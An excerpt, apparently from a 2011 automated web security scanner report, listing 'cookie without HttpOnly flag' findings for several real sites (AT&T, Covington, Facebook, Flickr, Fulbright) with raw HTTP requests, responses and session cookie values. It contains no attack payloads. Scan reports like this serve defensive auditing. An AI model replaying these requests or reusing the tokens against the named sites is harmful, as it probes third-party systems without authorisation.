expires=Thursday, 19-Jan-2012 16:56:17 GMT; path=/ Set-Cookie: BIGipServerpATTWL_7010_7011=3772895623.25115.0000; path=/ Content-Length: 41968
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http:/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gen/privacy-policy HTTP/1.1 Host: www.att.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: IBM_HTTP_Server $WSEP: Content-Length: 10768 P3P: policyref="http://www.att.com/w3c/p3p.xml",CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo TELo OUR OTRi IND PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE GOV" Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Vary: Accept-Encoding Date: Wed, 19 Jan 2011 16:56:22 GMT Connection: close Set-Cookie: JSID_coredisp=00001azaaUIt4tofRgHr1xl5ji4:14cq1kt38; Path=/
<!-- --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Page Not F ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.caplindrysdale.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.cov.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en-US/regions/middle_east/ HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The following cookie was issued by the application and does not have the HttpOnly flag set:
DefaultCulture=en-US; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /health_care/health_care_reform/ HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /industry/financial_services/dodd_frank/ HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ja-JP/practice/region.aspx HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError.html%3faspxerrorpath%3d%2fFCWSite%2fFeatures%2fServices%2fregion.aspx">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ko-KR/practice/region.aspx HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError.html%3faspxerrorpath%3d%2fFCWSite%2fFeatures%2fServices%2fregion.aspx">here</a>.</h2> </body></html>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/detail.aspx HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /zh-CN/practice/region.aspx HTTP/1.1 Host: www.cov.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PortletId=0; SERVER_PORT=80; NavId=0; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=0; Mode=1; NSC_QPE-FHB3536-Tibsfe=ffffffff09d5f63d45525d5f4f58455e445a4a423660; DefaultCulture=en-US; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; EventingStatus=1; ASP.NET_SessionId=42fhylvwx45ssx3bzxt2ly55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1086&RootPortletID=666&RootPortletH4AssetID=1034401&LicenseKey= &Name=Web Framework&URL=wc; SiteId=0;
<html><head><title>Object moved</title></head><body> <h2>Object moved to <a href="%2fError.html%3faspxerrorpath%3d%2fFCWSite%2fFeatures%2fServices%2fregion.aspx">here</a>.</h2> </body></html>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /check_script HTTP/1.1 Host: www.crazyegg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Type: text/html Date: Wed, 19 Jan 2011 15:47:01 GMT Location: /login Server: nginx Set-Cookie: sid=BAh7AA%3D%3D%0A--2b7cb7a832cf66d0e06d8b990c3bd9e53e90dec4; path=/ Content-Length: 0 Connection: Close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /x22 HTTP/1.1 Host: www.dicksteinshapiro.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 19 Jan 2011 15:48:12 GMT Server: Microsoft-IIS/6.0 x-geoloc:02 x-client:000382 x-apptype:01 x-prodtype:01 x-public:1 x-redirect:0 x-occurrence:01 x-server:EG-HUBRD-A68 X-UA-Compatible:IE=EmulateIE7 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Location: http://www.dicksteinshapiro.com/x22/ Cache-Control: private Content-Length: 0 Set-Cookie: NSC_MC_QbvmXfjtt_IUUQ=ffffffff09d5f65e45525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.dlalaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.dsmo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 400 Bad Request Content-Type: text/html Date: Wed, 19 Jan 2011 15:48:15 GMT Connection: close Content-Length: 39 Set-Cookie: NSC_QPE-FHB1112-Tibsfe=ffffffff09d5f60245525d5f4f58455e445a4a423660;path=/
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=B8uaT; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /%s HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=ygc3TU5VL1Ox0oSEuJwWmcZ4; expires=Fri, 18-Jan-2013 15:48:26 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=B8uaT; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:26 GMT Content-Length: 11541
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=Alwq8; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /profile.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Alwq8; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 15:48:24 GMT Content-Length: 0
The following cookie was issued by the application and does not have the HttpOnly flag set:
lsd=PJgQd; path=/; domain=.facebook.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /yp HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/YP P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: datr=0xc3TSeqtruzR7A_X6-zEPmV; expires=Fri, 18-Jan-2013 16:56:51 GMT; path=/; domain=.facebook.com; httponly Set-Cookie: lsd=PJgQd; path=/; domain=.facebook.com Content-Type: text/html; charset=utf-8 Connection: close Date: Wed, 19 Jan 2011 16:56:51 GMT Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.fairfaxlaw.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /lab/retaining_scalable_interfaces_with_pixel_to_em_conversion/ HTTP/1.1 Host: www.filamentgroup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/darkstream/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:53 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=196k7md6je5ul&b=3&s=9b; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:53 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:52 GMT; path=/; domain=flickr.com X-Served-By: www62.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 38404
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/plutor/1818329845/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 16:56:52 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=88enasd6je5uk&b=3&s=sa; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Sat, 18-Jan-2014 16:56:52 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Tue, 19-Jan-2010 16:56:51 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sun, 20-Mar-2011 16:56:52 GMT; path=/; domain=.flickr.com X-Served-By: www152.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 107913
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Austin HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A25%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1830%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:53:25 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Beijing HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:47 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A47%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1944%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:53:47 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Dallas HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A49%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1950%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:53:49 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Denver HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:53:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A53%3A54%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1974%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:53:54 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /FAA_adv HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A17%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D888%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:50:17 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /HongKong HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A25%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2092%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:54:25 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /London HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A28%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2108%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:28 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
